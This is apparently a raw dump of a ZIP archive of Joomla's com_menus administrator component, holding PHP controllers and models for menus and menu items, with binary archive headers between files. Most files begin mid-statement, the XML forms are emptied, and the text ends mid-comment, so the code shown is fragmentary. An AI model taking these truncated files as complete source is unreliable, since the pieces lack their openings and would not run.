$this->getTask(); $value = JArrayHelper::getValue($data, $task, 0, 'int'); if (empty($cid)) { JError::raiseWarning(500, JText::_($this->text_prefix.'_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers JArrayHelper::toInteger($cid); // Publish the items. if (!$model->setHome($cid, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $ntext = 'COM_MENUS_ITEMS_SET_HOME'; } else { $ntext = 'COM_MENUS_ITEMS_UNSET_HOME'; } $this->setMessage(JText::plural($ntext, count($cid))); } } $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); } } PKs>\DDcom_menus/controllers/menus.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Removes an item */ public function delete() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get items to remove from the request. $cid = JRequest::getVar('cid', array(), '', 'array'); if (!is_array($cid) || count($cid) < 1) { JError::raiseWarning(500, JText::_('COM_MENUS_NO_MENUS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Make sure the item ids are integers jimport('joomla.utilities.arrayhelper'); JArrayHelper::toInteger($cid); // Remove the items. if (!$model->delete($cid)) { $this->setMessage($model->getError()); } else { $this->setMessage(JText::plural('COM_MENUS_N_MENUS_DELETED', count($cid))); } } $this->setRedirect('index.php?option=com_menus&view=menus'); } /** * Rebuild the menu tree. * * @return bool False on failure or error, true on success. */ public function rebuild() { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php?option=com_menus&view=menus'); // Initialise variables. $model = $this->getModel('Item'); if ($model->rebuild()) { // Reorder succeeded. $this->setMessage(JText::_('JTOOLBAR_REBUILD_SUCCESS')); return true; } else { // Rebuild failed. $this->setMessage(JText::sprintf('JTOOLBAR_REBUILD_FAILED', $model->getMessage())); return false; } } /** * Temporary method. This should go into the 1.5 to 1.6 upgrade routines. */ public function resync() { // Initialise variables. $db = JFactory::getDbo(); $parts = null; // Load a lookup table of all the component id's. $components = $db->setQuery( 'SELECT element, extension_id' . ' FROM #__extensions' . ' WHERE type = '.$db->quote('component') )->loadAssocList('element', 'extension_id'); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } // Load all the component menu links $items = $db->setQuery( 'SELECT id, link, component_id' . ' FROM #__menu' . ' WHERE type = '.$db->quote('component') )->loadObjectList(); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } foreach ($items as $item) { // Parse the link. parse_str(parse_url($item->link, PHP_URL_QUERY), $parts); // Tease out the option. if (isset($parts['option'])) { $option = $parts['option']; // Lookup the component ID if (isset($components[$option])) { $componentId = $components[$option]; } else { // Mismatch. Needs human intervention. $componentId = -1; } // Check for mis-matched component id's in the menu link. if ($item->component_id != $componentId) { // Update the menu table. $log = "Link $item->id refers to $item->component_id, converting to $componentId ($item->link)"; echo "
      $log"; $db->setQuery( 'UPDATE #__menu' . ' SET component_id = '.$componentId. ' WHERE id = '.$item->id )->query(); //echo "
      ".$db->getQuery(); if ($error = $db->getErrorMsg()) { return JError::raiseWarning(500, $error); } } } } } } PKs>\#1-1-com_menus/controllers/item.phpnuW+AsetUserState($context . '.type', null); $app->setUserState($context . '.link', null); $menuType = $app->getUserStateFromRequest($this->context . '.filter.menutype', 'menutype', 'mainmenu', 'cmd'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=item&menutype=' . $menuType . $this->getRedirectToItemAppend(), false)); } return $result; } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 1.6 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $model = $this->getModel('Item', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return boolean True if access level checks pass, false otherwise. * * @since 1.6 */ public function cancel($key = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $context = 'com_menus.edit.item'; $result = parent::cancel(); if ($result) { // Clear the ancillary data from the session. $app->setUserState($context . '.type', null); $app->setUserState($context . '.link', null); } } /** * Method to edit an existing record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key * (sometimes required to avoid router collisions). * * @return boolean True if access level check and checkout passes, false otherwise. * * @since 1.6 */ public function edit($key = null, $urlVar = null) { // Initialise variables. $app = JFactory::getApplication(); $result = parent::edit(); if ($result) { // Push the new ancillary data into the session. $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); } return true; } /** * Method to save a record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return boolean True if successful, false otherwise. * * @since 1.6 */ public function save($key = null, $urlVar = null) { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Item', '', array()); $data = JRequest::getVar('jform', array(), 'post', 'array'); $task = $this->getTask(); $context = 'com_menus.edit.item'; $recordId = JRequest::getInt('id'); if (!$this->checkEditId($context, $recordId)) { // Somehow the person just went to the form and saved it - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $recordId)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items' . $this->getRedirectToListAppend(), false)); return false; } // Populate the row id from the session. $data['id'] = $recordId; // The save2copy task needs to be handled slightly differently. if ($task == 'save2copy') { // Check-in the original row. if ($model->checkin($data['id']) === false) { // Check-in failed, go back to the item and display a notice. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning'); return false; } // Reset the ID and then treat the request as for Apply. $data['id'] = 0; $data['associations'] = array(); $task = 'apply'; } // Validate the posted data. // This post is made up of two forms, one for the item and one for params. $form = $model->getForm($data); if (!$form) { JError::raiseError(500, $model->getError()); return false; } if ($data['type'] == 'url') { $data['link'] = str_replace(array('"', '>', '<'), '', $data['link']); if (strstr($data['link'], ':')) { $segments = explode(':', $data['link']); $protocol = strtolower($segments[0]); $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git'); if (!in_array($protocol, $scheme)) { $app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } } } $data = $model->validate($form, $data); // Check for the special 'request' entry. if ($data['type'] == 'component' && isset($data['request']) && is_array($data['request']) && !empty($data['request'])) { // Parse the submitted link arguments. $args = array(); parse_str(parse_url($data['link'], PHP_URL_QUERY), $args); // Merge in the user supplied request arguments. $args = array_merge($args, $data['request']); $data['link'] = 'index.php?' . urldecode(http_build_query($args, '', '&')); unset($data['request']); } // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } // Attempt to save the data. if (!$model->save($data)) { // Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); // Redirect back to the edit screen. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } // Save succeeded, check-in the row. if ($model->checkin($data['id']) === false) { // Check-in failed, go back to the row and display a notice. $this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); return false; } $this->setMessage(JText::_('COM_MENUS_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task. switch ($task) { case 'apply': // Set the row data in the session. $recordId = $model->getState($this->context . '.id'); $this->holdEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); break; case 'save2new': // Clear the row id and data in the session. $this->releaseEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); $app->setUserState('com_menus.edit.item.menutype', $model->getState('item.menutype')); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(), false)); break; default: // Clear the row id and data in the session. $this->releaseEditId($context, $recordId); $app->setUserState('com_menus.edit.item.data', null); $app->setUserState('com_menus.edit.item.type', null); $app->setUserState('com_menus.edit.item.link', null); // Redirect to the list screen. $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend(), false)); break; } } /** * Sets the type of the menu item currently being edited. * * @return void * * @since 1.6 */ function setType() { // Initialise variables. $app = JFactory::getApplication(); // Get the posted values from the request. $data = JRequest::getVar('jform', array(), 'post', 'array'); $recordId = JRequest::getInt('id'); // Get the type. $type = $data['type']; $type = json_decode(base64_decode($type)); $title = isset($type->title) ? $type->title : null; $recordId = isset($type->id) ? $type->id : 0; if ($title != 'alias' && $title != 'separator' && $title != 'url') { $title = 'component'; } $app->setUserState('com_menus.edit.item.type', $title); if ($title == 'component') { if (isset($type->request)) { $component = JComponentHelper::getComponent($type->request->option); $data['component_id'] = $component->id; $app->setUserState('com_menus.edit.item.link', 'index.php?' . JURI::buildQuery((array) $type->request)); } } // If the type is alias you just need the item id from the menu item referenced. elseif ($title == 'alias') { $app->setUserState('com_menus.edit.item.link', 'index.php?Itemid='); } unset($data['request']); $data['type'] = $title; if (JRequest::getCmd('fieldtype') == 'type') { $data['link'] = $app->getUserState('com_menus.edit.item.link'); } //Save the data in the session. $app->setUserState('com_menus.edit.item.data', $data); $this->type = $type; $this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)); } } PKs>\)com_menus/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_menus/tables/index.htmlnuW+A PKs>\)com_menus/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\#zcom_menus/tables/menu.phpnuW+A\!com_menus/access.xmlnuW+A
      PKs>\xcom_menus/config.xmlnuW+A
      PKs>\  \"\"com_menus/models/items.phpnuW+Aget('menu_associations', 0)) { $config['filter_fields'][] = 'association'; } } parent::__construct($config); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication('administrator'); $search = $this->getUserStateFromRequest($this->context.'.search', 'filter_search'); $this->setState('filter.search', $search); $published = $this->getUserStateFromRequest($this->context.'.published', 'filter_published', ''); $this->setState('filter.published', $published); $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $parentId = $this->getUserStateFromRequest($this->context.'.filter.parent_id', 'filter_parent_id', 0, 'int'); $this->setState('filter.parent_id', $parentId); $level = $this->getUserStateFromRequest($this->context.'.filter.level', 'filter_level', 0, 'int'); $this->setState('filter.level', $level); $menuType = JRequest::getVar('menutype', null); if ($menuType) { if ($menuType != $app->getUserState($this->context.'.filter.menutype')) { $app->setUserState($this->context.'.filter.menutype', $menuType); JRequest::setVar('limitstart', 0); } } else { $menuType = $app->getUserState($this->context.'.filter.menutype'); if (!$menuType) { $menuType = $this->getDefaultMenuType(); } } $this->setState('filter.menutype', $menuType); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Component parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); // List state information. parent::populateState('a.lft', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.language'); $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.parent_id'); $id .= ':'.$this->getState('filter.menutype'); return parent::getStoreId($id); } /** * Finds the default menu type. * * In the absence of better information, this is the first menu ordered by title. * * @return string The default menu type * @since 1.6 */ protected function getDefaultMenuType() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('menutype') ->from('#__menu_types') ->order('title'); $db->setQuery($query, 0, 1); $menuType = $db->loadResult(); return $menuType; } /** * Builds an SQL query to load the list data. * * @return JDatabaseQuery A query object. */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); $app = JFactory::getApplication(); // Select all fields from the table. $query->select($this->getState('list.select', 'a.id, a.menutype, a.title, a.alias, a.note, a.path, a.link, a.type, a.parent_id, a.level, a.published as apublished, a.component_id, a.ordering, a.checked_out, a.checked_out_time, a.browserNav, a.access, a.img, a.template_style_id, a.params, a.lft, a.rgt, a.home, a.language, a.client_id')); $query->select('CASE a.type' . ' WHEN ' . $db->quote('component') . ' THEN a.published+2*(e.enabled-1) ' . ' WHEN ' . $db->quote('url') . ' THEN a.published+2 ' . ' WHEN ' . $db->quote('alias') . ' THEN a.published+4 ' . ' WHEN ' . $db->quote('separator') . ' THEN a.published+6 ' . ' END AS published'); $query->from($db->quoteName('#__menu').' AS a'); // Join over the language $query->select('l.title AS language_title, l.image as image'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users. $query->select('u.name AS editor'); $query->join('LEFT', $db->quoteName('#__users').' AS u ON u.id = a.checked_out'); //Join over components $query->select('c.element AS componentname'); $query->join('LEFT', $db->quoteName('#__extensions').' AS c ON c.extension_id = a.component_id'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the associations. $assoc = isset($app->menu_associations) ? $app->menu_associations : 0; if ($assoc) { $query->select('COUNT(asso2.id)>1 as association'); $query->join('LEFT', '#__associations AS asso ON asso.id = a.id AND asso.context='.$db->quote('com_menus.item')); $query->join('LEFT', '#__associations AS asso2 ON asso2.key = asso.key'); $query->group('a.id'); } // Join over the extensions $query->select('e.name AS name'); $query->join('LEFT', '#__extensions AS e ON e.extension_id = a.component_id'); // Exclude the root category. $query->where('a.id > 1'); $query->where('a.client_id = 0'); // Filter on the published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title, alias or id if ($search = trim($this->getState('filter.search'))) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'link:') === 0) { if ($search = substr($search, 5)) { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('a.link LIKE '.$search); } } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('('.'a.title LIKE '.$search.' OR a.alias LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter the items over the parent id if set. $parentId = $this->getState('filter.parent_id'); if (!empty($parentId)) { $query->where('p.id = '.(int)$parentId); } // Filter the items over the menu id if set. $menuType = $this->getState('filter.menutype'); if (!empty($menuType)) { $query->where('a.menutype = '.$db->quote($menuType)); } // Filter on the access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter on the level. if ($level = $this->getState('filter.level')) { $query->where('a.level <= '.(int) $level); } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.lft')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',(string)$query)).'
      '; return $query; } } PKs>\) com_menus/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_menus/models/forms/index.htmlnuW+A PKs>\`)com_menus/models/forms/item_separator.xmlnuW+A
      PKs>\}Ccom_menus/models/forms/item.xmlnuW+A
      PKs>\Q݅ )com_menus/models/forms/item_component.xmlnuW+A
      PKs>\x|#com_menus/models/forms/item_url.xmlnuW+A
      PKs>\%com_menus/models/forms/item_alias.xmlnuW+A
      PKs>\+{%%com_menus/models/forms/menu.xmlnuW+A
      PKs>\2-Q))com_menus/models/menutypes.phpnuW+Arlu)) { $this->getTypeOptions(); } return $this->rlu; } /** * Method to get the available menu item type options. * * @return array Array of groups with menu item types. * @since 1.6 */ public function getTypeOptions() { jimport('joomla.filesystem.file'); // Initialise variables. $lang = JFactory::getLanguage(); $list = array(); // Get the list of components. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('name, element AS ' . $db->qn('option')); $query->from('#__extensions'); $query->where('type = ' . $db->q('component')); $query->where('enabled = 1'); $query->order('name ASC'); $db->setQuery($query); $components = $db->loadObjectList(); foreach ($components as $component) { if ($options = $this->getTypeOptionsByComponent($component->option)) { $list[$component->name] = $options; // Create the reverse lookup for link-to-name. foreach ($options as $option) { if (isset($option->request)) { $this->rlu[MenusHelper::getLinkKey($option->request)] = $option->get('title'); if (isset($option->request['option'])) { $lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($option->request['option'] . '.sys', JPATH_ADMINISTRATOR. '/components/'.$option->request['option'], null, false, true); } } } } } return $list; } protected function getTypeOptionsByComponent($component) { // Initialise variables. $options = array(); $mainXML = JPATH_SITE.'/components/'.$component.'/metadata.xml'; if (is_file($mainXML)) { $options = $this->getTypeOptionsFromXML($mainXML, $component); } if (empty($options)) { $options = $this->getTypeOptionsFromMVC($component); } return $options; } protected function getTypeOptionsFromXML($file, $component) { // Initialise variables. $options = array(); // Attempt to load the xml file. if (!$xml = simplexml_load_file($file)) { return false; } // Look for the first menu node off of the root node. if (!$menu = $xml->xpath('menu[1]')) { return false; } else { $menu = $menu[0]; } // If we have no options to parse, just add the base component to the list of options. if (!empty($menu['options']) && $menu['options'] == 'none') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $menu['name']; $o->description = (string) $menu['msg']; $o->request = array('option' => $component); $options[] = $o; return $options; } // Look for the first options node off of the menu node. if (!$optionsNode = $menu->xpath('options[1]')) { return false; } else { $optionsNode = $optionsNode[0]; } // Make sure the options node has children. if (!$children = $optionsNode->children()) { return false; } else { // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, (string) $optionsNode['var'] => (string) $child['value']); $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component); $options[] = $o; } } } return $options; } protected function getTypeOptionsFromMVC($component) { // Initialise variables. $options = array(); // Get the views for this component. $path = JPATH_SITE.'/components/'.$component.'/views'; if (JFolder::exists($path)) { $views = JFolder::folders($path); } else { return false; } foreach ($views as $view) { // Ignore private views. if (strpos($view, '_') !== 0) { // Determine if a metadata file exists for the view. $file = $path.'/'.$view.'/metadata.xml'; if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('view[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); continue; } // Do we have an options node or should we process layouts? // Look for the first options node off of the menu node. if ($optionsNode = $menu->xpath('options[1]')) { $optionsNode = $optionsNode[0]; // Make sure the options node has children. if ($children = $optionsNode->children()) { // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, 'view' => $view, (string) $optionsNode['var'] => (string) $child['value']); $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, 'view' => $view); $options[] = $o; } } } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } unset($xml); } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } } return $options; } protected function getTypeOptionsFromLayouts($component, $view) { // Initialise variables. $options = array(); $layouts = array(); $layoutNames = array(); $templateLayouts = array(); $lang = JFactory::getLanguage(); // Get the layouts from the view folder. $path = JPATH_SITE.'/components/'.$component.'/views/'.$view.'/tmpl'; if (JFolder::exists($path)) { $layouts = array_merge($layouts, JFolder::files($path, '.xml$', false, true)); } else { return $options; } // build list of standard layout names foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(JFile::getName($layout), '_') === false) { $file = $layout; // Get the layout name. $layoutNames[] = JFile::stripext(JFile::getName($layout)); } } // get the template layouts // TODO: This should only search one template -- the current template for this item (default of specified) $folders = JFolder::folders(JPATH_SITE . '/templates', '', false, true); // Array to hold association between template file names and templates $templateName = array(); foreach($folders as $folder) { if (JFolder::exists($folder . '/html/' . $component . '/' . $view)) { $template = JFile::getName($folder); $lang->load('tpl_' . $template . '.sys', JPATH_SITE, null, false, true) || $lang->load('tpl_' . $template . '.sys', JPATH_SITE . '/templates/' . $template, null, false, true); $templateLayouts = JFolder::files($folder . '/html/' . $component . '/' . $view, '.xml$', false, true); foreach ($templateLayouts as $layout) { $file = $layout; // Get the layout name. $templateLayoutName = JFile::stripext(JFile::getName($layout)); // add to the list only if it is not a standard layout if (array_search($templateLayoutName, $layoutNames) === false) { $layouts[] = $layout; // Set template name array so we can get the right template for the layout $templateName[$layout] = JFile::getName($folder); } } } } // Process the found layouts. foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(JFile::getName($layout), '_') === false) { $file = $layout; // Get the layout name. $layout = JFile::stripext(JFile::getName($layout)); // Create the menu option for the layout. $o = new JObject; $o->title = ucfirst($layout); $o->description = ''; $o->request = array('option' => $component, 'view' => $view); // Only add the layout request argument if not the default layout. if ($layout != 'default') { // If the template is set, add in format template:layout so we save the template name $o->request['layout'] = (isset($templateName[$file])) ? $templateName[$file] . ':' . $layout : $layout; } // Load layout metadata if it exists. if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('layout[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); unset($o); continue; } // Populate the title and description if they exist. if (!empty($menu['title'])) { $o->title = trim((string) $menu['title']); } if (!empty($menu->message[0])) { $o->description = trim((string) $menu->message[0]); } } } } // Add the layout to the options array. $options[] = $o; } } return $options; } } PKs>\nncom_menus/models/menu.phpnuW+Aauthorise('core.delete', 'com_menus.menu.'.(int) $record->id); } /** * Method to test whether a record can be deleted. * * @param object A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', 'com_menus.menu.'.(int) $record->id); } /** * Returns a Table object, always creating it * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object */ public function getTable($type = 'MenuType', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. $id = (int) JRequest::getInt('id'); $this->setState('menu.id', $id); // Load the parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); } /** * Method to get a menu item. * * @param integer The id of the menu item to get. * * @return mixed Menu item data object on success, false on failure. */ public function &getItem($itemId = null) { // Initialise variables. $itemId = (!empty($itemId)) ? $itemId : (int)$this->getState('menu.id'); $false = false; // Get a menu item row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($itemId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } $properties = $table->getProperties(1); $value = JArrayHelper::toObject($properties, 'JObject'); return $value; } /** * Method to get the menu item form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_menus.menu', 'menu', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_menus.edit.menu.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to save the form data. * * @param array The form data. * @return boolean True on success. */ public function save($data) { $id = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('menu.id'); $isNew = true; // Get a row instance. $table = $this->getTable(); // Load the row if saving an existing item. if ($id > 0) { $table->load($id); $isNew = false; } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } $this->setState('menu.id', $table->id); // Clean the cache $this->cleanCache(); return true; } /** * Method to delete groups. * * @param array An array of item ids. * @return boolean Returns true on success, false on failure. */ public function delete($itemIds) { // Sanitize the ids. $itemIds = (array) $itemIds; JArrayHelper::toInteger($itemIds); // Get a group row instance. $table = $this->getTable(); // Iterate the items to delete each one. foreach ($itemIds as $itemId) { // TODO: Delete the menu associations - Menu items and Modules if (!$table->delete($itemId)) { $this->setError($table->getError()); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array */ public function &getModules() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->from('#__modules as a'); $query->select('a.id, a.title, a.params, a.position'); $query->where('module = '.$db->quote('mod_menu')); $query->select('ag.title AS access_title'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); $db->setQuery($query); $modules = $db->loadObjectList(); $result = array(); foreach ($modules as &$module) { $params = new JRegistry; $params->loadString($module->params); $menuType = $params->get('menutype'); if (!isset($result[$menuType])) { $result[$menuType] = array(); } $result[$menuType][] = &$module; } return $result; } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } PKs>\)com_menus/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_menus/models/index.htmlnuW+A PKs>\,_`com_menus/models/item.phpnuW+Aid)) { if ($record->published != -2) { return ; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_menus.item.'.(int) $record->id); } } /** * Method to test whether a record can have its state edited. * * @param object A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->id)) { return $user->authorise('core.edit.state', 'com_menus.item.'.(int) $record->id); } // Default to component settings if menu item not known. else { return parent::canEditState($record); } } /** * Method to perform batch operations on an item or a set of items. * * @param array $commands An array of commands to perform. * @param array $pks An array of item ids. * @param array $contexts An array of item contexts. * * @return boolean Returns true on success, false on failure. * * @since 1.6 */ public function batch($commands, $pks, $contexts) { // Sanitize user ids. $pks = array_unique($pks); JArrayHelper::toInteger($pks); // Remove any values of zero. if (array_search(0, $pks, true)) { unset($pks[array_search(0, $pks, true)]); } if (empty($pks)) { $this->setError(JText::_('COM_MENUS_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['menu_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if ($cmd == 'c') { $result = $this->batchCopy($commands['menu_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['menu_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['assetgroup_id'])) { if (!$this->batchAccess($commands['assetgroup_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } return true; } /** * Batch copy menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array 